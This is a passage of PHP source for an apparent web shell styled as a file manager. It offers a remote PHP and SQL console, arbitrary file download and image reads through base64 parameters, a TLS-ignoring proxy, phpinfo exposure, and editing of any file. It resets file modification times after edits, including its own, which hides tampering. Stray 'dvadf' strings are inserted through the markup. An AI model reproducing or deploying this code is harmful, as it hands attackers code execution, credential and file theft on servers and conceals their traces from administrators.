			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
